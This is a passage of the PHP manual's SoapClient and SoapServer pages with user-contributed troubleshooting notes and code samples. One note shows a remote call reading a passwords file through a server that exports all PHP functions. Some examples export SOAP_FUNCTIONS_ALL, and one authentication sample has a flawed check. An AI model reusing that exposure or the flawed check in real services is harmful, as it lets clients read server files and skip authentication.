//put this code in your function or wherever You have all required variables set

$client = new SoapClient($wsdl_url,$settings_array);
$void=$client->$method($params);  //call this to get response from server

$response_string=$client->__getLastResponse();

//this part removes stuff
$start=strpos($response_string,'<?xml');
$end=strrpos($response_string,'>');
$response_string=substr($response_string,$start,$end-$start+1);

//get your proxy prepared
$proxy = new Proxy_Client($wsdl_url,$settings_array);
//and fill it with the server's response
$proxy->SetCacheDocument($response_string);

$and_finally_the_result_is=$proxy->$method($params);

print_r($and_finally_the_result_is); //this allows You to see what's there

?>

$method is the method's name eg. $method='getVersion';
$params - typical params for a soap method
david at globulebleu dot com 09-Jun-2008 12:44
When using classmap option to map the SOAP results to a class, the constructor
of the object you've mapped to is not called.

$client = new SoapClient("url_to_wsdl",
   array('classmap' => array('contact' => "Contact"));

$params = array("1");

$contact = $client->__soapCall("get_contact", $params);

Expected result:

A contact object that has properties initialized (i.e. db connections,
....).

Actual result:

A contact object without the properties.

Thanks for your help.

David Georges.
Anno v. Heimburg 27-May-2008 10:23
> When using HTTP basic authentication, PHP will only send
> the credentials when invoking the service, not when
> fetching the WSDL.

The same goes for using an SSL client certficate, the SoapClient will only present the certificate on the actual remote call, not when getting the WSDL. The workaround is the same as above. HttpRequest works as expected.
cw at netresearch dot de 30-Apr-2008 01:24
The "cache_wsdl" option takes constants like WSDL_CACHE_NONE or WSDL_CACHE_DISK that are listed on the "SOAP constants" page -> /manual/en/soap.constants.php
james dot ellis at gmail dot com 29-Jan-2008 05:10
A note regarding boolean values that may seem obvious on reflection but could be a gotcha for some:

Seeing a SOAP request example with <SomeBooleanParam>true</SomeBooleanParam> may lead you to pass in string "true" or "false" as the parameter, which is incorrect - the correct method is to use boolean data types.

<?php
$client = new SoapClient($wsdl,$options);
$method = "DoSomething";
$params = new stdClass;

$params->SomeBooleanParam = TRUE;
$client->$method($params);
/**
 simplified request snippet would be
 <SomeBooleanParam>true</SomeBooleanParam>
**/

//this will also be correct, but not for the right reasons:
$params->SomeBooleanParam = "true";
$client->$method($params);
/**
 simplified request snippet would be
 <SomeBooleanParam>true</SomeBooleanParam>
**/

//this is where you may be wondering what is going on
$params->SomeBooleanParam = "false";
$client->$method($params);
/**
 simplified request snippet would be
 <SomeBooleanParam>true</SomeBooleanParam>
**/

//you need to do this instead
$params->SomeBooleanParam = FALSE;
$client->$method($params);
/**
 simplified request snippet would be
 <SomeBooleanParam>false</SomeBooleanParam>
**/
?>

Hope that helps!
giosh94mhz 08-Jul-2007 11:46
Oops!

I have written the wrong exception message in my last post.

The correct exception is:

SoapFault exception: [Client] looks like we got no XML document in <document>
lsmith at php dot net 08-Feb-2007 07:20
As noted in the bug report http://bugs.php.net/bug.php?id=36226, it is considered a feature that sequences with a single element do not come out as arrays. To override this "feature" you can do the following:

$x = new SoapClient($wsdl, array('features' =>
SOAP_SINGLE_ELEMENT_ARRAYS));
matt_schiros at academicsuperstore dot com 30-Nov-2006 12:26
When using classmap to map the SOAP results to a class, the constructor of the object you've mapped to is _not_ called.  This applies to the PHP5 __construct() and the PHP4 ClassName() constructors.
Marius Mathiesen 01-Mar-2006 04:57
I kept having a problem using an HTTP proxy with SOAP. The proxy_port parameter has to be an integer, ie. "proxy_port"=>"80" won't work, you'll have to use "proxy_port"=>80.

HTH,
Marius
php at sowen dot de 22-Dec-2005 06:40
If you're using CLI and there are multiple IP addresses available for outgoing SOAP-requests, try this "secret" to set outgoing IP:

e.g. for local IP 10.1.4.71:

$opts = array('socket' => array('bindto' => '10.1.4.71:0'));
$context = stream_context_create($opts);
$client  = new SoapClient(null, array('location'=>'http://...','uri' => '...','stream_context' => $context));

You can also set other options for the stream context, please refer to this page:

Appendix M: http://www.php.net/manual/en/wrappers.php

Bye,
   Nils Sowen
jared at ws-db dot com 28-Aug-2005 02:31
If you connect to a SoapServer, that has been created with session persistence, you can access the server's session id via SoapClient->_cookies[<session_id_name>][0]. This property becomes available after your first client method call.

I have only tested this with session.use_cookies=1.
Arjan van Bentem 11-Aug-2005 11:31
When using HTTP basic authentication, PHP will only send the credentials when invoking the service, not when fetching the WSDL.

To solve this, one needs to fetch the WSDL manually (or using PHP, of course!) and store it on the file system. Obviously, the first parameter for SoapClient(..) then needs to refer to that local copy.

Alternatively, the user annotations at http://nl3.php.net/manual/en/ref.soap.php state that one could encode the login and password into the URL as well.

See http://bugs.php.net/bug.php?id=27777
Jim Plush 11-Jul-2005 12:56
As of version 5.0.4 you can now dynamically change your location even if you're using a wsdl

<?php

$client = new SoapClient("http://some.host.net/wsdl/somefile.wsdl",array(
    "location" => 'myurl.com'));

?>

notice you can now use the "location" key.
This means you can have the same wsdl file not define a location until runtime which is great if you have a development test site or if you distribute your files to other companies.
Prior to this change you would have to ship a custom wsdl file to every client you had with their location hardcoded.
Brian Grayless 04-Mar-2005 02:30
Using a WSDL file is the way to go, however, for my particular application, the LOCATION:PORT needed to be dynamic so that my SOAP clients would be able to call a different service based on the client domain.

If you are using a WSDL, SoapClient() requires a URL direct to an actual URL and does not let you use a PHP file that outputs the dynamic WSDL XML in its stead. So, I ended up making a separate WSDL for each possible service needed and had to maintain them all if the service description changed.

Finally, after some fiddling, I was able to create a PHP page with the proper Mime type headers so that I could then trick SoapClient() to think that it was being passed a file with a ".wsdl" extension.

Example:

<?php

// filename: wsdl.php

header('Content-Type: application/xml; CHARSET=gb2312');
header('Content-Disposition: attachment; filename="filename.wsdl"');

$wsdl = 'path/wsdl_name.wsdl';

// read in file
$handle = fopen($wsdl, "r");
$wsdl_xml = fread($handle, filesize($wsdl));
fclose($handle);

// put code here to replace url and port in xml

echo $wsdl_xml;

?>

Now, in order to make this work, you can't just call a relative path to the file. I believe it has to go through Apache to properly set the mime type headers, etc... So you would use a full "http://....." address as the path to the wsdl.php file.

<?php

//... somewhere in your soap client code

$wsdl_loc = "http://yourdomain.com/wsdl.php";

$soap_client = new SoapClient($wsdl_loc, $client_param_array);

?>

Another, perhaps not so clean, way of achieving this would be to modify your .htaccess file in the directory where your WSDL file exists to force ".wsdl" files to run through the PHP engine. Add the following to your .htaccess:

AddType application/x-httpd-php .php .wsdl

You can then put dynamic PHP code snippets in your *.wsdl files to change whatever values you need to.

There are pros and cons to each solutions. The Mime solution probably taxes the system more as it has to read the file in every time a soap request is made. The htaccess solution makes it so you have to depend on either a modified .htaccess or Apache conf file.

Perhaps if you set the "soap.wsdl_cache_enabled", using ini_set(), to 1 (default), the caching will make it so it doesn't read the file every time for the Mime solution.


The SoapServer class

(PHP 5, PHP 7)

简介

The SoapServer class provides a server for the » SOAP 1.1 and » SOAP 1.2 protocols. It can be used with or without a WSDL service description.

类摘要

SoapServer {
/* 方法 */
public addFunction ( mixed $functions ) : void
public addSoapHeader ( SoapHeader $object ) : void
public __construct ( mixed $wsdl [, array $options ] )
public fault ( string $code , string $string [, string $actor [, string $details [, string $name ]]] ) : void
public getFunctions ( void ) : array
public handle ([ string $soap_request ] ) : void
public setClass ( string $class_name [, mixed $... ] ) : void
public setObject ( object $object ) : void
public setPersistence ( int $mode ) : void
public SoapServer ( mixed $wsdl [, array $options ] )
}

Table of Contents

  • SoapServer::addFunction — 添加一个或多个函数来处理SOAP请求
  • SoapServer::addSoapHeader — Add a SOAP header to the response
  • SoapServer::__construct — SoapServer constructor
  • SoapServer::fault — Issue SoapServer fault indicating an error
  • SoapServer::getFunctions — Returns list of defined functions
  • SoapServer::handle — Handles a SOAP request
  • SoapServer::setClass — Sets the class which handles SOAP requests
  • SoapServer::setObject — Sets the object which will be used to handle SOAP requests
  • SoapServer::setPersistence — Sets SoapServer persistence mode
  • SoapServer::SoapServer — SoapServer constructor

User Contributed Notes

mail at borisd dot ru 08-Feb-2019 12:43
If you want to run dummy SoapServer as a daemon for tests on linux, you need to:

1. Set up location "localhost:12312/soapServer.php" in your wsdl like:

<wsdl:service name="ServiceName">
        <wsdl:port name="ServiceNamePort" binding="tns:ServiceNameBinding">
            <soap:address location="http://localhost:12312/soapServer.php" />
        </wsdl:port>
</wsdl:service>

2. Write your test server like:

<?php
/*
  * Server
  */
class TestSoapServer
{
    public function getMessage()
    {
        return 'Hello, World!';
    }
}
$options = ['uri' => 'http://localhost:12312/'];
$server = new SoapServer(null, $options);
$server->setClass('TestSoapServer');
$server->handle();

?>

3. Run it with `php -S localhost:12312` (in the same folder)

Whenever you make a request according to your wsdl, it will end up at your "server".
softontherocks at gmail dot com 29-Oct-2014 06:20
I posted in this URL http://softontherocks.blogspot.com/2014/02/web-service-soap-con-php.html a full example of a nusoap web service.

There is defined the server and the cliente who calls the web service.

I hope it would be useful for you.
s at dumdeedum dot com 12-Sep-2013 05:32
I was running PHP 5.3.2 and couldn't for the life of me get SOAP headers to work, no matter how carefully I built my class/wsdl/client.  What finally fixed it was updating to the latest PHP.  No idea if there was a bug somewhere or what, but it's never a bad idea to stay current and it might save you weeks of frustration!
phpman dot fulter47 at recursor dot net 04-Jul-2012 05:36
For those (like me) coming from other SOAP frameworks and getting confused:

- A PHP SOAP server application created using the SoapServer class can not be used as a standalone SOAP server.
It needs an HTTP server to receive SOAP requests, which must run a PHP engine to execute the PHP SOAP server script as a CGI.

- For this reason, there are no settings in PHP that control the Interface/Port under which the SOAP server will wait for requests - it is the HTTP server who is responsible for that.

- The "uri" parameter is an "id value", used as the namespace for the SOAP response. It is only required if no WSDL file is used (that contains this setting), i.e. "wsdl" is set to NULL. It does _not_ control the Hostname/Port under which the HTTP server will be reachable for requests.
php1221 at klox dot net 18-Aug-2011 01:39
While there are plenty of mentions online that SoapServer doesn't support SOAP Headers, this isn't true.

In your class, if you declare a function with the name of the header, the function will be called when that header is received.

<?php
class MySoapService {
  private $user_is_valid;

  function MyHeader($header) {
    if ((isset($header->Username)) && (isset($header->Password))) {
      if (ValidateUser($header->Username, $header->Password)) {
        $user_is_valid = true;
      }
    }
  }

  function MySoapRequest($request) {
    if ($user_is_valid) {
      // process request
    }
    else {
      throw new MyFault("MySoapRequest", "User not valid.");
    }
  }
}
?>
hawky83 at googlemail dot com 21-Jan-2011 02:46
Another simple example for SOAP_SERVER with errorhandling an params and wsdl:

SERVER (soap_all_srv.php):

<?php
// PEAR::SOAP einbinden
require_once "SOAP/Server.php";
$skiptrace =& PEAR::getStaticProperty('PEAR_Error', 'skiptrace');
$skiptrace = true;

// Service-Class
class mytimeserv {

  // __dispatch_map
  public $__dispatch_map = array ();

  // In/Out param -> __dispatch_map
  public function __construct() {
    $this->__dispatch_map["now"] =
      array ("in" => array("format" => "string"),
             "out" => array("time" => "string"));
  }

  // get back __dispatch_map in __dispatch
  public function __dispatch($methodname) {

    if (isset($this->__dispatch_map[$methodname])) {
      return $this->__dispatch_map[$methodname];
    }

    return NULL;
  }

  // servicemthod with parameters
  function now ($format) {

    // formaterror?
    if (($format == null) || (trim($format) == "")) {

      // send errormessage
      return new SOAP_Fault("Kein Parameter angegeben","0815", "Client");
    }

    date_default_timezone_set('Europe/Berlin');

    $time = date ($format);

    // return SOAP-Obj.
    return (new SOAP_Value('time','string', $time));
  }
}

// service-class
$service = new mytimeserv();

// server
$ss = new SOAP_Server();

// add service with name
$ss->addObjectMap (&$service,"urn:mytimeserv");

// service or wsdl
if (isset($_SERVER["REQUEST_METHOD"])&& $_SERVER["REQUEST_METHOD"] == "POST") {

    // postdata -> service
    $ss->service ($HTTP_RAW_POST_DATA);

} else {

  // wsdl-param in url
  if (isset($_SERVER['QUERY_STRING']) && strcasecmp($_SERVER['QUERY_STRING'],'wsdl') == 0) {

    // DISCO_Server for WSDL
    require_once "SOAP/Disco.php";
    $disco = new SOAP_DISCO_Server ($ss,"mytimeserv","My Time Service");

    // set HTML-Header
    header("Content-type: text/xml");

    // return wsdl
    print $disco->getWSDL ();
  }
}

?>

CLIENT (soap_all_client.php) (for wsdl: http://example.com/soap_all_srv.php?wsdl):
<?php

require_once "SOAP/Client.php";

// SOAP/WSDL
$sw = new SOAP_WSDL ("http://example.com/soap_all_srv.php?wsdl");

// Proxy-Obj.
$proxy = $sw->getProxy ();

// servicemthod
$erg = $proxy->now ("H:i:s");

// return
print $erg."\n";

?>
mikkel at nsales dot dk 02-Jun-2010 03:15
If you want to return a custom object array from a nusoap webservice, you have to cast the objects to arrays like so:

<?php
$users = array();
while($res = $db_obj->fetch_row())
{
  $user = new user();
  $user->Id = $res['id'];
  $user->Username = $res['username'];
  $user->Email = $res['email'];

  $users[] = (array) $user;
}

return ($users);
?>
junk2cm at gmx dot de 25-May-2010 12:54
As the SoapServer class lacks the possibility of dealing with SOAP-Headers, my following workaround is suitable to my needs when I had to do authentication via the SOAP-Headers:
1. Use a class which handles SOAP requests and let the constructor of this class take the sent headers.
2. Before invoking the SoapServer extract the SOAP-Header from the incoming raw data.
3. When using setClass pass the extracted header to the handling class.

In Your Server-Skript do things like this
<?php
$hdr = file_get_contents("php://input");
if (strpos($hdr,'<s:Header>')===false) {
    $hdr = null;
} else {
    $hdr = explode('<s:Header>',$hdr);
    $hdr = explode('</s:Header>',$hdr[1]);
    $hdr = $hdr[0];
}
$srv = new SoapServer('Your_wsdl');
$srv->setClass("ServiceClass",$hdr);
$srv->handle();
?>

And the service class is like this:
<?php
class ServiceClass {
    var $IsAuthenticated;

    function __construct($hdr) {
        $this->IsAuthenticated = false;
        if ($hdr!=null) {
            $this->header = simplexml_load_string($hdr);
            //Your authentication stuff goes here...
        }
    }

    function SomeFunctionOfTheService($a) {
        if ($this->IsAuthenticated) {
            //here Your function...
        }
    }

}
?>
carlos dot vini at gmail dot com 20-May-2010 01:55
SoapServer does not support WSDL with literal/document. I have a class:

<?php
class My_Soap {
    /**
     * Returns Hello World.
     *
     * @param string $world
     * @return string
     */
    public function getInterAdmins($world) {
        return 'hello' . $world;
    }
}
?>

To fix this I had to create proxy class:
<?php
class My_Soap_LiteralDocumentProxy {
   public function __call($methodName, $args) {
       $soapClass = new My_Soap();
       $result = call_user_func_array(array($soapClass, $methodName),  $args[0]);
       return array($methodName . 'Result' => $result);
   }
}
?>

Now make sure that the WSDL is created using My_Soap. And that the Server is created using My_Soap_LiteralDocumentProxy:

<?php

if (isset($_GET['wsdl'])) {
    $wsdl = new Zend_Soap_AutoDiscover(); // It generates the WSDL
    $wsdl->setOperationBodyStyle(array(
        'use' => 'literal'
    ));
    $wsdl->setBindingStyle(array(
        'style' => 'document'
    ));
    $wsdl->setClass('My_Soap');
    $wsdl->handle();
} else {
    $server = new Zend_Soap_Server('http://localhost/something/webservice.php?wsdl');
    $server->setClass('My_Soap_LiteralDocumentProxy');
    $server->handle();
}

?>
dsubar at interna dot com 25-Dec-2009 09:49
Do not put a SoapServer and a SoapClient in the same PHP file. This seems to cause arbitrary behavior. On the PHP interpreter in Eclipse, everything worked fine. Under MAMP, I got an undocumented error. In moving the client from the same file as the server, everything worked fine.


添加一个或多个函数来处理SOAP请求

  • ? SoapServer
  • SoapServer::addSoapHeader ?
  • PHP Manual
  • SoapServer
  • 添加一个或多个函数来处理SOAP请求

SoapServer::addFunction

(PHP 5, PHP 7)

SoapServer::addFunction — 添加一个或多个函数来处理SOAP请求

说明

public SoapServer::addFunction ( mixed $functions ) : void

为远程客户端导出一个或多个函数

参数

functions

导出一个函数，将函数名作为字符串传递给这个参数。

导出多个函数，将一组函数名作为数组传递。

导出所有函数，传递特殊常量 SOAP_FUNCTIONS_ALL.

Note:

functions 接收的所有输入参数必须同时和WSDL文件中定义的 顺序一样（它们不应该接收任何输出变量作为参数）并且返回一个或多个值。如果要返回多个 值，它们必须返回一组被命名的输出参数作为数组。

返回值

没有返回值。

范例

Example #1 SoapServer::addFunction() example

<?php

function echoString($inputString)
{
    return $inputString;
}

$server->addFunction("echoString");

function echoTwoStrings($inputString1, $inputString2)
{
    return array("outputString1" => $inputString1,
                 "outputString2" => $inputString2);
}
$server->addFunction(array("echoString", "echoTwoStrings"));

$server->addFunction(SOAP_FUNCTIONS_ALL);

?>

参见

  • SoapServer::SoapServer() - SoapServer constructor
  • SoapServer::setClass() - Sets the class which handles SOAP requests

User Contributed Notes

dotpointer at gmail dot com 26-Oct-2007 06:52
Be careful with SOAP_FUNCTIONS_ALL, as it adds ALL availiable PHP functions to your server.

This can be a potential security threat, imagine clients doing this:

echo $client->file_get_contents("c:\\my files\\my_passwords.doc");

And voila, they have the contents of your file my_passwords.doc.
Evan Borgstrom 23-Aug-2006 03:42
In response to comment by Nathan O'Sullivan about returning (or passing) a complex type, you can also use the stdClass() object.

Assume you define a complex type like so:

<xsd:complexType name="TestType">
        <xsd:all>
                <xsd:element name="A" type="xsd:string" />
                <xsd:element name="B" type="xsd:int" />
                <xsd:element name="C" type="xsd:boolean" />
        </xsd:all>
</xsd:complexType>

To use an object in place of an array you can do:

$test = new stdClass();
$test->A = "test string";
$test->B = 45;
$test->C = false;

$result = $client->Test($test);
Nathan O'Sullivan 28-Apr-2005 11:36
You may be left wondering, as I was, how to return a complex type - consider the following WSDL snippets, for a method called Login:

 <xs:element name="Login">
        <xs:complexType>
          <xs:sequence>
            <xs:element minOccurs="0" maxOccurs="1" name="username" type="xs:string" />
            <xs:element minOccurs="0" maxOccurs="1" name="password" type="xs:string" />
          </xs:sequence>
        </xs:complexType>
      </xs:element>

   <xs:complexType name="UserInfo">
        <xs:sequence>
          <xs:element minOccurs="0" maxOccurs="1" name="Id" type="xs:string" />
          <xs:element minOccurs="0" maxOccurs="1" name="Name" type="xs:string" />
          <xs:element minOccurs="0" maxOccurs="1" name="Nickname" type="xs:string" />
          <xs:element minOccurs="0" maxOccurs="1" name="Email" type="xs:string" />
        </xs:sequence>
      </xs:complexType>

   <xs:element name="LoginResponse">
        <xs:complexType>
          <xs:sequence>
            <xs:element minOccurs="0" maxOccurs="1" name="LoginResult" type="s0:UserInfo" />
          </xs:sequence>
        </xs:complexType>
      </xs:element>

Here's a working Login function  that I've added with add SoapServer::addFunction

function Login($username, $password)
{
  return array("LoginResult", array("Id"=>1, "Name"=>"Nathan", "Nickname"=>"Nathan", "Email"=>"email address") );
}

The UserInfo complextype is represented by the inner array.  The outer array has just one element, "LoginResult".  The LogineResponse element  seems to be treated as a one-member array by PHP.


Add a SOAP header to the response

  • ? SoapServer::addFunction
  • SoapServer::__construct ?
  • PHP Manual
  • SoapServer
  • Add a SOAP header to the response

SoapServer::addSoapHeader

(PHP 5 >= 5.1.3, PHP 7)

SoapServer::addSoapHeader — Add a SOAP header to the response

说明

public SoapServer::addSoapHeader ( SoapHeader $object ) : void

Adds a SOAP header to be returned with the response to the current request.

参数

object

The header to be returned.

返回值

没有返回值。

User Contributed Notes

vladimir at bashkirtsev dot com 21-Nov-2016 09:30
Notably addSoapHeaders() must be called within handling class/object.

If you call addSoapHeaders() like this:

$server = new SoapServer("some.wsdl");
$server->setObject(new Service());
$server->addSoapHeaders(new SoapHeader("ns", "Header", "value"));
$server->handle();

Your SOAP header will not be added to the server response as it will be overwritten by result of handle() function.

If you want to add SOAP headers to the resulting response you should make $server global/static variable and then call addSoapHeaders() from within of the method of Service class which will handle the request.


SoapServer constructor

  • ? SoapServer::addSoapHeader
  • SoapServer::fault ?
  • PHP Manual
  • SoapServer
  • SoapServer constructor

SoapServer::__construct

(PHP 5, PHP 7)

SoapServer::__construct — SoapServer constructor

说明

public SoapServer::__construct ( mixed $wsdl [, array $options ] )

此函数是该函数的别名： SoapServer::SoapServer()

User Contributed Notes

Anonymous 10-Jun-2012 02:35
// Workin Server with Client for localhost

// server.php

<?php
class MyClass {
  public function helloWorld() {

    return 'Hallo Welt '. print_r(func_get_args(), true);
  }
}

try {
  $server = new SOAPServer(
    NULL,
    array(
     'uri' => 'http://localhost/soap/server.php'
    )
  );

  $server->setClass('MyClass');
  $server->handle();
}

catch (SOAPFault $f) {
  print $f->faultstring;
}

?>

// client.php:

<?php
$client = new SoapClient(null, array(
      'location' => "http://localhost/soap/server.php",
      'uri'      => "http://localhost/soap/server.php",
      'trace'    => 1 ));

echo $return = $client->__soapCall("helloWorld",array("world"));
?>

// Hope you like it


Issue SoapServer fault indicating an error

  • ? SoapServer::__construct
  • SoapServer::getFunctions ?
  • PHP Manual
  • SoapServer
  • Issue SoapServer fault indicating an error

SoapServer::fault

(PHP 5, PHP 7)

SoapServer::fault — Issue SoapServer fault indicating an error

说明

public SoapServer::fault ( string $code , string $string [, string $actor [, string $details [, string $name ]]] ) : void

Sends a response to the client of the current request indicating an error.

Note:

This can only be called when handling a request.

参数

code

The error code to return

string

A brief description of the error

actor

A string identifying the actor that caused the fault.

details

More details of the fault

name

The name of the fault. This can be used to select a name from a WSDL file.

返回值

没有返回值。

参见

  • SoapFault::SoapFault() - SoapFault constructor

User Contributed Notes

christian at cmjdesign dot dk 06-Jun-2013 10:41
hi,
to control the fault output one may do the following

/**
 * mySoapServer class
 */
class mySoapServer extends SoapServer {
    public function __construct($wsdl, array $options = null) {
        parent::SoapServer($wsdl, $options);
    }
    public function fault ($code, $string, $actor = null, $details = null, $name = null) {
        throw new SoapFault($code, $string, $actor, $details, $name);
    }
}

Use:
try {
    $server = new mySoapServer(null, array('uri' => $_SERVER['REQUEST_URI']));
    $server->setClass('mySoapAPI');
    $server->handle();
} catch (SoapFault $exc) {
    echo $exc->getTraceAsString();
}

that how i did this,
hope iot can help some one.
brian dot reynolds at risaris dot com 21-Feb-2012 09:44
Example Usage:

return new SoapFault( "Client", "foo or bar must be supplied");

SOAP Fault Codes

VersionMismatch: Found an invalid namespace for the SOAP Envelope element
MustUnderstand    : An immediate child element of the Header element, with the mustUnderstand attribute set to "1", was not understood
Client: The message was incorrectly formed or contained incorrect information
Server: There was a problem with the server so the message could not proceed
dub357 at gmail dot com 08-Feb-2012 08:01
This function also sends a 500 response code back to the client with the request.
This was causing issues with an Apache Axis 1.2 client I had so I instead implemented by own fault handling:

<?php
header("Content-Type: text/xml");
header("Status: 200");
die("<SOAP-ENV:Envelope xmlns:SOAP-ENV=\\"http://schemas.xmlsoap.org/soap/envelope/\\">
  <SOAP-ENV:Body>
    <SOAP-ENV:Fault>
      <faultcode>500</faultcode>
      <faultstring>".$ex->getMessage())."</faultstring>
    </SOAP-ENV:Fault>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>");
?>
Amr Mostafa 09-Sep-2009 06:16
This function currently terminates execution as well, which may be undesirable. See: http://bugs.php.net/bug.php?id=49513
Anonymous 16-Jul-2008 12:12
If you use Adobe Flex, Flash or AIR as SOAP client and are unable to get the error message in case of a soap fault, upgrade to PHP 5.2.6.

Details in:
http://bugs.php.net/bug.php?id=43507


Returns list of defined functions

  • ? SoapServer::fault
  • SoapServer::handle ?
  • PHP Manual
  • SoapServer
  • Returns list of defined functions

SoapServer::getFunctions

(PHP 5, PHP 7)

SoapServer::getFunctions — Returns list of defined functions

说明

public SoapServer::getFunctions ( void ) : array

Returns a list of the defined functions in the SoapServer object. This method returns the list of all functions added by SoapServer::addFunction() or SoapServer::setClass().

参数

此函数没有参数。

返回值

An array of the defined functions.

范例

Example #1 SoapServer::getFunctions() example

<?php
$server = new SoapServer(NULL, array("uri" => "http://test-uri"));
$server->addFunction(SOAP_FUNCTIONS_ALL);
if ($_SERVER["REQUEST_METHOD"] == "POST") {
  $server->handle();
} else {
  echo "This SOAP server can handle following functions: ";
  $functions = $server->getFunctions();
  foreach($functions as $func) {
    echo $func . "\n";
  }
}
?>

参见

  • SoapServer::SoapServer() - SoapServer constructor
  • SoapServer::addFunction() - 添加一个或多个函数来处理SOAP请求
  • SoapServer::setClass() - Sets the class which handles SOAP requests

User Contributed Notes

There are no user contributed notes for this page.


Handles a SOAP request

  • ? SoapServer::getFunctions
  • SoapServer::setClass ?
  • PHP Manual
  • SoapServer
  • Handles a SOAP request

SoapServer::handle

(PHP 5, PHP 7)

SoapServer::handle — Handles a SOAP request

说明

public SoapServer::handle ([ string $soap_request ] ) : void

Processes a SOAP request, calls necessary functions, and sends a response back.

参数

soap_request

The SOAP request. If this argument is omitted, the request is assumed to be in the raw POST data of the HTTP request.

返回值

没有返回值。

范例

Example #1 SoapServer::handle() example

<?php
function test($x)
{
    return $x;
}

$server = new SoapServer(null, array('uri' => "http://test-uri/"));
$server->addFunction("test");
$server->handle();
?>

参见

  • SoapServer::SoapServer() - SoapServer constructor

User Contributed Notes

Bas van Dorst 19-Feb-2014 02:58
Additional information to the comment of "Joeri Thissen" (http://www.php.net/manual/en/soapserver.handle.php#113866)

In some cases the replacements generates a timeout (looks like it is in combination with Nginx). The problem is that PHP has already sent a content-length, and the webserver is still waiting for new content.

To fix this you have to reset the HTTP Content-Length with the right value:

<?php
ob_start();
$soapServer->handle();
$result = ob_get_contents();
ob_end_clean();

$result = str_replace("abcdef", "abc", $result);
$length = strlen($result);

header("Content-Length: ".$length);
echo $result;
Joeri Thissen 11-Dec-2013 10:59
Sometimes returned data can contain characters which are not valid in xml 1.0. This causes the xml being output by SoapServer::handle to be invalid. Although it's probably better to sanitize the data ealier, a combination of output buffering and a simple regular expression can be used as a quick fix to make sure the output is indeed valid xml.

For example:

<?php
    ob_start();
    $soapServer->handle();
    $soapXml = ob_get_contents();
    ob_end_clean();
    $soapXml = preg_replace ('/[^\x{0009}\x{000a}\x{000d}\x{0020}-\x{D7FF}\x{E000}-\x{FFFD}]+/u', ' ', $soapXml);
    echo $soapXml;
?>
dub357 at gmail dot com 08-Feb-2012 10:54
After much headache and looking through PHP source code, I finally found out why the handle() function would immediately send back a fault with the string "Bad Request".
Turns out that my client was sending valid XML, but the first line of the XML was the actual XML declaration:

<?xml version="1.0" encoding="UTF-8"?>

When the "handle" function in the SoapServer class is called, it first tries to parse the XML.  When the XML document can't be parsed, a "Bad Request" fault is returned and execution of the script immediately stops.  I assume that the XML parser built into PHP (libxml2) already assumes the document to be XML and when it finds the declaration, it thinks it isn't valid.

I added some XML parsing calls to my service before the handle() function is called to check for valid XML and avoid the "Bad Request" fault.  This also allows me to send back a more suitable error message:

<?php
$parser = xml_parser_create("UTF-8");
if (!xml_parse($parser,$HTTP_RAW_POST_DATA,true)){
   $webService->fault("500", "Cannot parse XML: ".
      xml_error_string(xml_get_error_code($parser)).
       " at line: ".xml_get_current_line_number($parser).
       ", column: ".xml_get_current_column_number($parser));
}
?>
prenaud at profideo dot com 09-Jan-2012 02:23
Please note that when defining several services in one wsdl file, and calling one of those services, you may always get the response for your first service.

This is a known bug. You will find its description and some workarounds here  : https://bugs.php.net/bug.php?id=49169
Artur Graniszewski 15-Nov-2009 10:19
Be aware that SoapServer::handle(); method sends additional HTTP headers to the browser. One of them is "Content-Type: application/soap+xml". If you want to execute SOAP methods locally as a part of SoapClient::__doRequest() (see example at http://pl2.php.net/manual/en/soapclient.dorequest.php ) you may need to reset (override) this header back to "Content-Type: text/html" like so:

<?php
function Add($x,$y) {
  return $x+$y;
}

class LocalSoapClient extends SoapClient {

  function __construct($wsdl, $options) {
    parent::__construct($wsdl, $options);
    $this->server = new SoapServer($wsdl, $options);
    $this->server->addFunction('Add');
  }

  function __doRequest($request, $location, $action, $version) {
    ob_start();
    $this->server->handle($request);
    $response = ob_get_contents();
    ob_end_clean();
    return $response;
  }

}

$x = new LocalSoapClient(NULL,array('location'=>'test://',
                                   'uri'=>'http://testuri.org'));

header("Content-Type: text/html");

var_dump($x->Add(3,4));

?>
tom at backslashinteractive dot com 03-Oct-2008 10:54
In response to Blizzke:

Sometimes this problem can be hidden by an Apache segmentation fault along with an HTTP headers error SoapFault thrown to the client.

If you get either of those 2, try checking to make sure that style="rpc" in your WSDL file's soap:operation's.

-T
Blizzke at gmail dot com 12-Mar-2008 04:39
Seems pretty logical once you find the solution, but it took me quite a while to figure this one out:
If you are using WSDL based SOAP requests and you have more than one operation in your binding (with the same parameters), make sure the <soap:operation> style is set to rpc, NOT body!

When you specify 'body' here, all that will be transmitted in the request is the parameters for the function call, and SoapServer->handle() will use the first function it finds with the same parameter-makeup to handle the call.

ie If you have 2 functions:
<?php
function One ( string $blah );
function Two ( string $blah );
?>
Making a client call with SoapClient -> Two ( 'test' ); will result in One ( ) being called when your 'type' is set to 'body'

The actual method to call will only be included in the request when your type is set to 'rpc', resulting in the expected behavior
king dot maxemilian at noos dot fr 21-Aug-2007 09:23
Sometime, it happens that PHP does not detect anything in $HTTP_RAW_POST_DATA.

To solve this problem and make it work in any case:

function soaputils_autoFindSoapRequest()    {
    global $HTTP_RAW_POST_DATA;

    if($HTTP_RAW_POST_DATA)
        return $HTTP_RAW_POST_DATA;

    $f = file("php://input");
    return implode(" ", $f);
}

$server = new SoapServer($wsdl);
$server->setClass($MyClass);

$server->handle(soaputils_autoFindSoapRequest());


Sets the class which handles SOAP requests

  • ? SoapServer::handle
  • SoapServer::setObject ?
  • PHP Manual
  • SoapServer
  • Sets the class which handles SOAP requests

SoapServer::setClass

(PHP 5, PHP 7)

SoapServer::setClass — Sets the class which handles SOAP requests

说明

public SoapServer::setClass ( string $class_name [, mixed $... ] ) : void

Exports all methods from specified class.

The object can be made persistent across request for a given PHP session with the SoapServer::setPersistence() method.

参数

class_name

The name of the exported class.

...

These optional parameters will be passed to the default class constructor during object creation.

返回值

没有返回值。

参见

  • SoapServer::SoapServer() - SoapServer constructor
  • SoapServer::addFunction() - 添加一个或多个函数来处理SOAP请求
  • SoapServer::setPersistence() - Sets SoapServer persistence mode

User Contributed Notes

funky2step at gmail dot com 25-Nov-2011 01:54
When passing arguments to the default class constructor, make sure that you don't try and use the magic __construct method because that won't work.

<?php

class MyClass
{
  function MyClass($arg1, $arg2)
  {

  }
}

// Not:

class MyClass
{
  function __construct($arg1, $arg2)
  {

  }
}

?>
christiaan at oakfox dot net 04-May-2009 04:21
You can also retrieve object properties the following way while using __autoload($class_name).

<?php

# Start Session
session_start();

# Auto Load Class as Required
function __autoload($class_name)
{
